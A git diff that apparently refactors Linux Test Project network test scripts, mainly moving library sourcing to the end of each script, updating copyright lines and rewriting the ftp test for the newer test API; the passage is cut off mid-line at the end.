a/testcases/network/stress/sctp/sctp_ipsec_vti.sh b/testcases/network/stress/sctp/sctp_ipsec_vti.sh index 9c574712..c22eb02e 100755 --- a/testcases/network/stress/sctp/sctp_ipsec_vti.sh +++ b/testcases/network/stress/sctp/sctp_ipsec_vti.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -8,7 +8,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP=tst_ipsec_setup_vti TST_CLEANUP=tst_ipsec_cleanup TST_TESTFUNC=do_test -. ipsec_lib.sh do_test() { @@ -20,4 +19,5 @@ do_test() -S $ip_loc_tun -D $tst_vti } +. ipsec_lib.sh tst_run diff --git a/testcases/network/stress/ssh/ssh-stress.sh b/testcases/network/stress/ssh/ssh-stress.sh index baf1a789..e7c4d45c 100755 --- a/testcases/network/stress/ssh/ssh-stress.sh +++ b/testcases/network/stress/ssh/ssh-stress.sh @@ -13,7 +13,6 @@ TST_NEEDS_ROOT=1 TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="sshd ssh ssh-keygen od pkill pgrep" -. tst_net.sh # SSH config file on the remote host RHOST_SSH_CONF= @@ -230,4 +229,5 @@ test3() tst_res TPASS "Test finished successfully" } +. tst_net.sh tst_run diff --git a/testcases/network/stress/tcp/tcp_ipsec.sh b/testcases/network/stress/tcp/tcp_ipsec.sh index 5c467034..12662274 100755 --- a/testcases/network/stress/tcp/tcp_ipsec.sh +++ b/testcases/network/stress/tcp/tcp_ipsec.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -8,7 +8,6 @@ TST_NEEDS_TMPDIR=1 TST_TESTFUNC=do_test TST_SETUP=tst_ipsec_setup TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh max_requests=10 @@ -22,4 +21,5 @@ do_test() -R $max_requests } +. ipsec_lib.sh tst_run diff --git a/testcases/network/stress/tcp/tcp_ipsec_vti.sh b/testcases/network/stress/tcp/tcp_ipsec_vti.sh index 41ab1ca9..925011ae 100755 --- a/testcases/network/stress/tcp/tcp_ipsec_vti.sh +++ b/testcases/network/stress/tcp/tcp_ipsec_vti.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -8,7 +8,6 @@ TST_NEEDS_TMPDIR=1 TST_TESTFUNC=do_test TST_SETUP=tst_ipsec_setup_vti TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh max_requests=10 @@ -22,4 +21,5 @@ do_test() -R $max_requests -D $tst_vti } +. ipsec_lib.sh tst_run diff --git a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 index 92af9e43..c0d50efa 100755 --- a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 +++ b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 @@ -230,7 +230,7 @@ while [ $ipaddr_pair_num -lt $IP_TOTAL_FOR_TCPIP ]; do # Set IPv6 addresses to the interfaces ip addr add ${lhost_addr}/${network_mask} dev $lhost_ifname - if [ $ret -eq 2 ]; then + if [ $? -eq 2 ]; then ip addr del ${lhost_addr}/${network_mask} dev $lhost_ifname 2>&1 ip addr add ${lhost_addr}/${network_mask} dev $lhost_ifname fi diff --git a/testcases/network/stress/udp/udp_ipsec.sh b/testcases/network/stress/udp/udp_ipsec.sh index 1e10d208..628888ea 100755 --- a/testcases/network/stress/udp/udp_ipsec.sh +++ b/testcases/network/stress/udp/udp_ipsec.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -9,7 +9,6 @@ TST_TESTFUNC=do_test TST_SETUP=tst_ipsec_setup TST_CNT=2 TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh do_test() { @@ -22,4 +21,5 @@ do_test() tst_netload -H $(tst_ipaddr rhost) -T $type $opts -r $IPSEC_REQUESTS } +. ipsec_lib.sh tst_run diff --git a/testcases/network/stress/udp/udp_ipsec_vti.sh b/testcases/network/stress/udp/udp_ipsec_vti.sh index d9a1e33a..1cf42912 100755 --- a/testcases/network/stress/udp/udp_ipsec_vti.sh +++ b/testcases/network/stress/udp/udp_ipsec_vti.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -9,7 +9,6 @@ TST_TESTFUNC=do_test TST_CNT=2 TST_SETUP=tst_ipsec_setup_vti TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh do_test() { @@ -22,4 +21,5 @@ do_test() tst_netload -H $ip_rmt_tun -T $type $opts -r $IPSEC_REQUESTS -D $tst_vti } +. ipsec_lib.sh tst_run diff --git a/testcases/network/tcp_cc/bbr01.sh b/testcases/network/tcp_cc/bbr01.sh index e26abb18..c2219d2f 100755 --- a/testcases/network/tcp_cc/bbr01.sh +++ b/testcases/network/tcp_cc/bbr01.sh @@ -7,8 +7,6 @@ TST_TESTFUNC="do_test" TST_CLEANUP="cleanup" TST_MIN_KVER="4.13" -. tcp_cc_lib.sh - cleanup() { tc qdisc del dev $(tst_iface) root netem > /dev/null 2>&1 @@ -30,4 +28,5 @@ do_test() tcp_cc_test01 bbr -100 } +. tcp_cc_lib.sh tst_run diff --git a/testcases/network/tcp_cc/bbr02.sh b/testcases/network/tcp_cc/bbr02.sh index 71498380..0cc55fe8 100755 --- a/testcases/network/tcp_cc/bbr02.sh +++ b/testcases/network/tcp_cc/bbr02.sh @@ -7,9 +7,6 @@ TST_TESTFUNC="do_test" TST_CLEANUP="cleanup" TST_MIN_KVER="4.13" TST_TEST_DATA="pfifo_fast codel pfifo fq hfsc hhf htb pie prio sfb sfq" - -. tcp_cc_lib.sh - TST_CLEANUP="cleanup" cleanup() @@ -37,4 +34,5 @@ do_test() tcp_cc_test01 bbr -100 } +. tcp_cc_lib.sh tst_run diff --git a/testcases/network/tcp_cc/dctcp01.sh b/testcases/network/tcp_cc/dctcp01.sh index 14ee96db..fbce6f4a 100755 --- a/testcases/network/tcp_cc/dctcp01.sh +++ b/testcases/network/tcp_cc/dctcp01.sh @@ -9,8 +9,6 @@ TST_TESTFUNC="do_test" TST_CLEANUP="cleanup" TST_MIN_KVER="3.18" -. tcp_cc_lib.sh - cleanup() { tc qdisc del dev $(tst_iface) root netem loss 0.5% ecn @@ -36,4 +34,5 @@ do_test() tcp_cc_test01 dctcp 10 } +. tcp_cc_lib.sh tst_run diff --git a/testcases/network/tcp_cc/tcp_cc_lib.sh b/testcases/network/tcp_cc/tcp_cc_lib.sh index 779716fd..9b903f59 100755 --- a/testcases/network/tcp_cc/tcp_cc_lib.sh +++ b/testcases/network/tcp_cc/tcp_cc_lib.sh @@ -1,6 +1,7 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved. +# Copyright (c) 2019-2022 Petr Vorel # Author: Alexey Kodanev TST_NEEDS_TMPDIR=1 @@ -8,8 +9,6 @@ TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="sysctl tc" TST_NEEDS_DRIVERS="sch_netem" -. tst_net.sh - def_alg="cubic" prev_qlen= prev_queue= @@ -104,3 +103,5 @@ tcp_cc_test01() tst_netload_compare $res0 $res1 $threshold } + +. tst_net.sh diff --git a/testcases/network/tcp_cmds/arping/arping01.sh b/testcases/network/tcp_cmds/arping/arping01.sh index 6388f6a7..6ae96e4a 100755 --- a/testcases/network/tcp_cmds/arping/arping01.sh +++ b/testcases/network/tcp_cmds/arping/arping01.sh @@ -7,7 +7,6 @@ TST_TESTFUNC="do_test" TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="arping" -. tst_net.sh do_test() { @@ -19,4 +18,5 @@ do_test() EXPECT_PASS arping -w $timeout "$ip_addr" -I $dev -fq } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh b/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh index 06b38fcb..4058fbe1 100755 --- a/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh +++ b/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh @@ -7,7 +7,6 @@ TST_TESTFUNC="do_test" TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="cut clockdiff" -. tst_net.sh do_test() { @@ -27,4 +26,5 @@ do_test() fi } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_cmds/ftp/ftp01.sh b/testcases/network/tcp_cmds/ftp/ftp01.sh index 8d23abc6..53d1eec5 100755 --- a/testcases/network/tcp_cmds/ftp/ftp01.sh +++ b/testcases/network/tcp_cmds/ftp/ftp01.sh @@ -1,158 +1,75 @@ #!/bin/sh -# -# Copyright (c) International Business Machines Corp., 2000 -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -# the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# -# -# -# FILE : ftp -# -# PURPOSE: To test the basic functionality of the `ftp` command. -# -# SETUP: The home directory of root on the machine exported as "RHOST" -# MUST have a ".rhosts" file with the hostname of the machine -# where the test is executed. Also, both machines MUST have -# the same path configuration for the test for proper test data -# file transfers. The PASSWD variable should also be set to root's -# login password. -# -# HISTORY: -# 06/06/03 Manoj Iyer manjo@mail.utexas.edu -# - Modified to use LTP test harness APIs -# 03/01 Robbie Williamson (robbiew@us.ibm.com) -# -Ported -# -# -#----------------------------------------------------------------------- -# -#---------------------------------------------------------------------- +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Akihiko Odaki +# Copyright (c) 2003 Manoj Iyer +# Copyright (c) 2001 Robbie Williamson -#----------------------------------------------------------------------- -# -# FUNCTION: do_setup -# -#----------------------------------------------------------------------- +TST_TESTFUNC=do_test +TST_CNT=4 +TST_NEEDS_CMDS='awk ftp' +TST_NEEDS_TMPDIR=1 -do_setup() -{ - - TC=ftp - TCtmp=${TCtmp:-$LTPROOT/$TC${EXEC_SUFFIX}$$} - TCdat=${TCdat:-$LTPROOT/datafiles} - SLEEPTIME=${SLEEPTIME:-0} - ASCII_FILES=${ASCII_FILES:-"ascii.sm ascii.med ascii.lg ascii.jmb"} - BIN_FILES=${BIN_FILES:-"bin.sm bin.med bin.lg bin.jmb"} - - RHOST=${RHOST:-`hostname`} - RUSER=${RUSER:-root} - PASSWD=${PASSWD:-.pasroot} - - tst_setup - - exists awk ftp rsh - - cd "$TCtmp" - - rsh -n -l root $RHOST mkdir -p "$TCtmp" - rsh -n -l root $RHOST chown -R ${RUSER} "$TCtmp" - [ $? = 0 ] || end_testcase "Check .rhosts file on remote machine." - -} - -#----------------------------------------------------------------------- -# -# FUNCTION: do_test -# -#----------------------------------------------------------------------- +RUSER="${RUSER:-root}" +RHOST="${RHOST:-localhost}" do_test() { + case $1 in + 1) test_get binary;; + 2) test_get ascii;; + 3) test_put binary;; + 4) test_put ascii;; + esac +} - for i in binary ascii; do - - if [ $i = "binary" ]; then - FILES=$BIN_FILES - fi - if [ $i = "ascii" ]; then - FILES=$ASCII_FILES - fi - for j in $FILES; do - - for a in get put; do - if [ $a = "get" ]; then - { - echo user $RUSER $PASSWD - echo lcd $TCtmp - echo $i - echo cd $TCdat - echo $a $j - echo quit - } | ftp -nv $RHOST - SUM1=`ls -l $TCtmp/$j | awk '{print $5}'` - SUM2=`ls -l $TCdat/$j | awk '{print $5}'` - rm -f $TCtmp/$j - else - { - echo user $RUSER $PASSWD - echo lcd $TCdat - echo $i - echo cd $TCtmp - echo $a $j - echo quit - } | ftp -nv $RHOST - SUM1=`rsh -n -l root $RHOST sum $TCtmp/$j | awk '{print $1}'` - SUM2=`sum $TCdat/$j | awk '{print $1}'` - rsh -n -l root $RHOST rm -f $TCtmp/$j - fi +list_files() +{ + case $1 in + ascii) echo 'ascii.sm ascii.med ascii.lg ascii.jmb';; + binary) echo 'bin.sm bin.med bin.lg bin.jmb';; + esac +} - if [ $SUM1 = $SUM2 ]; then - tst_resm TINFO "Test Successful doing ftp $a $j $i" - else - end_testcase "Test Fail: Wrong sum while performing ftp $a $j $i" - fi - sleep $SLEEPTIME - done - done +test_get() +{ + local file sum1 sum2 + + for file in $(list_files $1); do + { + echo user $RUSER $PASSWD + echo $1 + echo cd $TST_NET_DATAROOT + echo get $file + echo quit + } | ftp -nv $RHOST + + sum1="$(ls -l $file | awk '{print $5}')" + sum2="$(ls -l $TST_NET_DATAROOT/$file | awk '{print $5}')" + rm -f $file + EXPECT_PASS "[ '$sum1' = '$sum2' ]" done } - -#----------------------------------------------------------------------- -# -# FUNCTION: do_cleanup -# -#----------------------------------------------------------------------- - -do_cleanup() +test_put() { - rsh -n -l root $RHOST rmdir "$TCtmp" - tst_cleanup + local file sum1 sum2 + + for file in $(list_files $1); do + { + echo user $RUSER $PASSWD + echo lcd $TST_NET_DATAROOT + echo $1 + echo cd $TST_TMPDIR + echo put $file + echo quit + } | ftp -nv $RHOST + + sum1="$(tst_rhost_run -c "sum $TST_TMPDIR/$file" -s | awk '{print $1}')" + sum2="$(sum $TST_NET_DATAROOT/$file | awk '{print $1}')" + tst_rhost_run -c "rm -f $TST_TMPDIR/$file" + EXPECT_PASS "[ '$sum1' = '$sum2' ]" + done } -#---------------------------------------------------------------------- -# FUNCTION: MAIN -# PURPOSE: To invoke the functions to perform the tasks described in -# the prologue. -# INPUT: None. -# OUTPUT: A testcase run log with the results of the execution of this -# test. -#---------------------------------------------------------------------- -. net_cmdlib.sh - -read_opts $* -do_setup -do_test -end_testcase +. tst_net.sh +tst_run diff --git a/testcases/network/tcp_cmds/host/host01.sh b/testcases/network/tcp_cmds/host/host01.sh index 18b91027..6a406749 100755 --- a/testcases/network/tcp_cmds/host/host01.sh +++ b/testcases/network/tcp_cmds/host/host01.sh @@ -9,7 +9,6 @@ TST_TESTFUNC="do_test" TST_NEEDS_CMDS="awk grep host hostname tail" -. tst_net.sh do_test() { @@ -30,4 +29,5 @@ do_test() fi } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh b/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh index 6ad987c4..e67ff5cc 100755 --- a/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh +++ b/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh @@ -13,7 +13,6 @@ TST_OPTS="c:" TST_PARSE_ARGS="parse_args" TST_USAGE="usage" TST_NEEDS_ROOT=1 -. tst_net.sh do_setup() { @@ -26,7 +25,7 @@ do_setup() if [ -n "$TST_IPV6" ]; then tst_brk TCONF "'arp' doesn't support IPv6" fi - SHOW_CMD="arp -a" + SHOW_CMD="arp -an" DEL_CMD="ROD arp -d $(tst_ipaddr rhost) -i $(tst_iface)" ;; *) @@ -85,4 +84,5 @@ do_test() tst_res TPASS "verified adding/removing $entry_name cache entry" } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_cmds/netstat/netstat01.sh b/testcases/network/tcp_cmds/netstat/netstat01.sh index a7c8d611..ae364e03 100755 --- a/testcases/network/tcp_cmds/netstat/netstat01.sh +++ b/testcases/network/tcp_cmds/netstat/netstat01.sh @@ -8,7 +8,6 @@ TST_TESTFUNC="do_test" TST_NEEDS_CMDS="netstat" -. tst_net.sh do_test() { @@ -23,4 +22,5 @@ do_test() done } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_cmds/ping/ping01.sh b/testcases/network/tcp_cmds/ping/ping01.sh index bc9c1f99..39f79119 100755 --- a/testcases/network/tcp_cmds/ping/ping01.sh +++ b/testcases/network/tcp_cmds/ping/ping01.sh @@ -14,7 +14,6 @@ TST_SETUP="do_setup" TST_TESTFUNC="do_test" -. tst_net.sh do_setup() { @@ -37,4 +36,5 @@ do_test() done } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_cmds/ping/ping02.sh b/testcases/network/tcp_cmds/ping/ping02.sh index 07a71353..8eaa3d33 100755 --- a/testcases/network/tcp_cmds/ping/ping02.sh +++ b/testcases/network/tcp_cmds/ping/ping02.sh @@ -5,7 +5,6 @@ TST_TESTFUNC="do_test" TST_NEEDS_ROOT=1 -. tst_net.sh do_test() { @@ -13,4 +12,5 @@ do_test() -p "000102030405060708090a0b0c0d0e0f" -c "${COUNT:-3}" } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_cmds/sendfile/sendfile01.sh b/testcases/network/tcp_cmds/sendfile/sendfile01.sh index 7104de7a..ce3f647b 100755 --- a/testcases/network/tcp_cmds/sendfile/sendfile01.sh +++ b/testcases/network/tcp_cmds/sendfile/sendfile01.sh @@ -12,7 +12,6 @@ TST_CLEANUP=do_cleanup TST_TESTFUNC=do_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="diff ss stat" -. tst_net.sh do_setup() { @@ -50,4 +49,5 @@ do_cleanup() [ -n "$server_started" ] && tst_rhost_run -c "pkill $server" } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_cmds/tc/tc01.sh b/testcases/network/tcp_cmds/tc/tc01.sh index a9da45b4..d3224d69 100755 --- a/testcases/network/tcp_cmds/tc/tc01.sh +++ b/testcases/network/tcp_cmds/tc/tc01.sh @@ -24,8 +24,6 @@ TST_NEEDS_ROOT=1 TST_NEEDS_DRIVERS="sch_teql" TST_NEEDS_CMDS="tc modprobe dmesg grep" -. tst_test.sh - setup() { ROD modprobe $TST_NEEDS_DRIVERS @@ -44,4 +42,5 @@ do_test() fi } +. tst_test.sh tst_run diff --git a/testcases/network/tcp_cmds/tcpdump/tcpdump01.sh b/testcases/network/tcp_cmds/tcpdump/tcpdump01.sh index 32953e7e..00599e6f 100755 --- a/testcases/network/tcp_cmds/tcpdump/tcpdump01.sh +++ b/testcases/network/tcp_cmds/tcpdump/tcpdump01.sh @@ -25,6 +25,7 @@ TST_TOTAL=1 TCID="tcpdump01" TST_CLEANUP=do_cleanup +TST_USE_LEGACY_API=1 do_setup() { @@ -64,10 +65,8 @@ do_cleanup() tst_rmdir } -TST_USE_LEGACY_API=1 . tst_net.sh do_setup do_test - tst_exit diff --git a/testcases/network/tcp_cmds/telnet/telnet01.sh b/testcases/network/tcp_cmds/telnet/telnet01.sh index a6e6024f..93343b99 100755 --- a/testcases/network/tcp_cmds/telnet/telnet01.sh +++ b/testcases/network/tcp_cmds/telnet/telnet01.sh @@ -21,7 +21,6 @@ TCID="telnet01" TST_TOTAL=1 TST_USE_LEGACY_API=1 -. tst_net.sh setup() { @@ -83,6 +82,8 @@ telnet_test() tst_rhost_run -u $RUSER -c "rm -f $RUSER.$RHOST" } +. tst_net.sh + setup do_test diff --git a/testcases/network/tcp_cmds/tracepath/tracepath01.sh b/testcases/network/tcp_cmds/tracepath/tracepath01.sh index 2b75c100..2790751b 100755 --- a/testcases/network/tcp_cmds/tracepath/tracepath01.sh +++ b/testcases/network/tcp_cmds/tracepath/tracepath01.sh @@ -6,7 +6,6 @@ TST_TESTFUNC="do_test" TST_SETUP="setup" -. tst_net.sh setup() { @@ -53,4 +52,5 @@ do_test() tst_res TPASS "traced path to '$rhost' in $hops_num hops" } +. tst_net.sh tst_run diff --git a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh index 0e59ed50..88438c3e 100755 --- a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh +++ b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh @@ -30,7 +30,6 @@ tcp_fastopen_parse_args() esac } -. tst_net.sh cleanup() { @@ -71,4 +70,5 @@ test2() tst_netload_compare $time_tfo_off $time_tfo_on 3 } +. tst_net.sh tst_run diff --git a/testcases/network/traceroute/traceroute01.sh b/testcases/network/traceroute/traceroute01.sh index 0140aef9..06813bd7 100755 --- a/testcases/network/traceroute/traceroute01.sh +++ b/testcases/network/traceroute/traceroute01.sh @@ -9,7 +9,6 @@ TST_NEEDS_CMDS="traceroute" TST_SETUP="setup" TST_TESTFUNC="test" TST_NEEDS_TMPDIR=1 -. tst_net.sh setup() { @@ -67,4 +66,5 @@ test2() run_trace -T } +. tst_net.sh tst_run diff --git a/testcases/network/virt/fou01.sh b/testcases/network/virt/fou01.sh index 903cb38f..51f76f96 100755 --- a/testcases/network/virt/fou01.sh +++ b/testcases/network/virt/fou01.sh @@ -10,7 +10,6 @@ TST_OPTS="t:" TST_PARSE_ARGS="parse_args" virt_type="fou" -. virt_lib.sh GRE_IP_PROTO=47 @@ -58,4 +57,5 @@ do_setup() "local $rmt_ip remote $loc_ip $encap_cmd $FOU_PORT" } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/geneve01.sh b/testcases/network/virt/geneve01.sh index b731343c..9ddc6fe7 100755 --- a/testcases/network/virt/geneve01.sh +++ b/testcases/network/virt/geneve01.sh @@ -8,6 +8,9 @@ TST_NEEDS_TMPDIR=1 TST_OPTS="hi:d:" TST_PARSE_ARGS=virt_lib_parse_args TST_NEEDS_DRIVERS="geneve" +TST_TESTFUNC=do_test +TST_CLEANUP=virt_cleanup +VIRT_PERF_THRESHOLD_MIN=160 virt_type="geneve" start_id=16700000 @@ -16,11 +19,6 @@ start_id=16700000 # that is why using here 'vxlan_*' library functions. vxlan_dst_addr="uni" -TST_TESTFUNC=do_test -TST_CLEANUP=virt_cleanup -VIRT_PERF_THRESHOLD_MIN=160 -. virt_lib.sh - do_test() { tst_res TINFO "the same VNI must work" @@ -35,4 +33,5 @@ do_test() virt_compare_netperf "fail" } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/geneve02.sh b/testcases/network/virt/geneve02.sh index 169bc4ec..79086c7f 100755 --- a/testcases/network/virt/geneve02.sh +++ b/testcases/network/virt/geneve02.sh @@ -6,6 +6,12 @@ TST_NEEDS_TMPDIR=1 TST_OPTS="hi:d:" TST_PARSE_ARGS=virt_lib_parse_args TST_NEEDS_DRIVERS="geneve" +TST_TESTFUNC=do_test +TST_CLEANUP=virt_cleanup +TST_TEST_DATA="noudpcsum udp6zerocsumtx udp6zerocsumrx, udpcsum" +TST_TEST_DATA_IFS="," +VIRT_PERF_THRESHOLD_MIN=160 + virt_type="geneve" start_id=16700000 @@ -13,13 +19,6 @@ start_id=16700000 # that is why using here 'vxlan_*' library functions. vxlan_dst_addr="uni" -TST_TESTFUNC=do_test -TST_CLEANUP=virt_cleanup -TST_TEST_DATA="noudpcsum udp6zerocsumtx udp6zerocsumrx, udpcsum" -TST_TEST_DATA_IFS="," -VIRT_PERF_THRESHOLD_MIN=160 -. virt_lib.sh - do_test() { virt_check_cmd virt_add ltp_v0 id 1 $2 remote \ @@ -32,4 +31,5 @@ do_test() return 0 } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/gre01.sh b/testcases/network/virt/gre01.sh index db5be6de..58f34d23 100755 --- a/testcases/network/virt/gre01.sh +++ b/testcases/network/virt/gre01.sh @@ -12,6 +12,6 @@ TST_NEEDS_TMPDIR=1 TST_TESTFUNC=virt_netperf_msg_sizes TST_SETUP=virt_gre_setup TST_CLEANUP=virt_cleanup -. virt_lib.sh +. virt_lib.sh tst_run diff --git a/testcases/network/virt/gre02.sh b/testcases/network/virt/gre02.sh index d5566064..84adbbf3 100755 --- a/testcases/network/virt/gre02.sh +++ b/testcases/network/virt/gre02.sh @@ -6,6 +6,6 @@ TST_NEEDS_TMPDIR=1 TST_TESTFUNC=virt_netperf_rand_sizes TST_SETUP=virt_gre_setup TST_CLEANUP=virt_cleanup -. virt_lib.sh +. virt_lib.sh tst_run diff --git a/testcases/network/virt/ipvlan01.sh b/testcases/network/virt/ipvlan01.sh index e8b10637..992d62a9 100755 --- a/testcases/network/virt/ipvlan01.sh +++ b/testcases/network/virt/ipvlan01.sh @@ -11,6 +11,6 @@ virt_type="ipvlan" TST_TEST_DATA="mode l2,mode l3,mode l3s" TST_TEST_DATA_IFS="," TST_TESTFUNC=virt_test_02 -. virt_lib.sh +. virt_lib.sh tst_run diff --git a/testcases/network/virt/macsec01.sh b/testcases/network/virt/macsec01.sh index d9d6e73a..cc4b18d3 100755 --- a/testcases/network/virt/macsec01.sh +++ b/testcases/network/virt/macsec01.sh @@ -11,5 +11,4 @@ IPSEC_PROTO="ah" . macsec_lib.sh - tst_run diff --git a/testcases/network/virt/macsec02.sh b/testcases/network/virt/macsec02.sh index 0c40b25a..b374ce24 100755 --- a/testcases/network/virt/macsec02.sh +++ b/testcases/network/virt/macsec02.sh @@ -13,5 +13,4 @@ EALGO="aes" MACSEC_LIB_SETUP="replay on window 300 encrypt on protect on" . macsec_lib.sh - tst_run diff --git a/testcases/network/virt/macsec03.sh b/testcases/network/virt/macsec03.sh index b7bd8fea..a532fee5 100755 --- a/testcases/network/virt/macsec03.sh +++ b/testcases/network/virt/macsec03.sh @@ -6,8 +6,7 @@ IPSEC_PROTO="esp_aead" EALGO="aes" MACSEC_LIB_SETUP="replay on window 1000 encrypt on protect on" -. macsec_lib.sh - TST_TESTFUNC=virt_netperf_rand_sizes +. macsec_lib.sh tst_run diff --git a/testcases/network/virt/macsec_lib.sh b/testcases/network/virt/macsec_lib.sh index c2573c57..f1e7d4ea 100755 --- a/testcases/network/virt/macsec_lib.sh +++ b/testcases/network/virt/macsec_lib.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -10,11 +10,9 @@ IPSEC_MODE="transport" TST_NEEDS_TMPDIR=1 TST_TESTFUNC=virt_netperf_msg_sizes -TST_SETUP=macsec_lib_setup -TST_CLEANUP=macsec_lib_cleanup +TST_SETUP="${TST_SETUP:-macsec_lib_setup}" +TST_CLEANUP="${TST_CLEANUP:-macsec_lib_cleanup}" TST_NEEDS_DRIVERS="macsec" -. ipsec_lib.sh -. virt_lib.sh # MACSEC_LIB_SETUP: # [ cipher { default | gcm-aes-128 } ] [ encrypt { on | off } ] @@ -54,3 +52,6 @@ macsec_lib_cleanup() virt_cleanup tst_ipsec_cleanup } + +. ipsec_lib.sh +. virt_lib.sh diff --git a/testcases/network/virt/macvlan01.sh b/testcases/network/virt/macvlan01.sh index 3c4fda50..960b96b7 100755 --- a/testcases/network/virt/macvlan01.sh +++ b/testcases/network/virt/macvlan01.sh @@ -11,6 +11,6 @@ virt_type="macvlan" TST_TEST_DATA="mode private,mode vepa,mode bridge,mode passthru" TST_TEST_DATA_IFS="," TST_TESTFUNC=virt_test_02 -. virt_lib.sh +. virt_lib.sh tst_run diff --git a/testcases/network/virt/macvtap01.sh b/testcases/network/virt/macvtap01.sh index 93a3d34f..cce5a44e 100755 --- a/testcases/network/virt/macvtap01.sh +++ b/testcases/network/virt/macvtap01.sh @@ -11,6 +11,6 @@ virt_type="macvtap" TST_TEST_DATA="mode private,mode vepa,mode bridge,mode passthru" TST_TEST_DATA_IFS="," TST_TESTFUNC=virt_test_02 -. virt_lib.sh +. virt_lib.sh tst_run diff --git a/testcases/network/virt/sit01.sh b/testcases/network/virt/sit01.sh index 27fa0ee7..0b9a3aff 100755 --- a/testcases/network/virt/sit01.sh +++ b/testcases/network/virt/sit01.sh @@ -7,7 +7,6 @@ TST_TESTFUNC=virt_netperf_msg_sizes TST_SETUP=do_setup TST_CLEANUP=virt_cleanup virt_type="sit" -. virt_lib.sh do_setup() { @@ -20,4 +19,5 @@ do_setup() "local $(tst_ipaddr rhost) remote $(tst_ipaddr)" } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/virt_lib.sh b/testcases/network/virt/virt_lib.sh index e9cdab59..e919bc3a 100755 --- a/testcases/network/virt/virt_lib.sh +++ b/testcases/network/virt/virt_lib.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018-2019 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2014-2021 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev # @@ -18,6 +18,13 @@ TST_SETUP="${TST_SETUP:-virt_lib_setup}" TST_CLEANUP="${TST_CLEANUP:-cleanup_vifaces}" +TST_NEEDS_ROOT=1 + +# Max performance loss (%) for virtual devices during network load +VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-80} +if [ -n "$VIRT_PERF_THRESHOLD_MIN" ] && [ "$VIRT_PERF_THRESHOLD" -lt $VIRT_PERF_THRESHOLD_MIN ]; then + 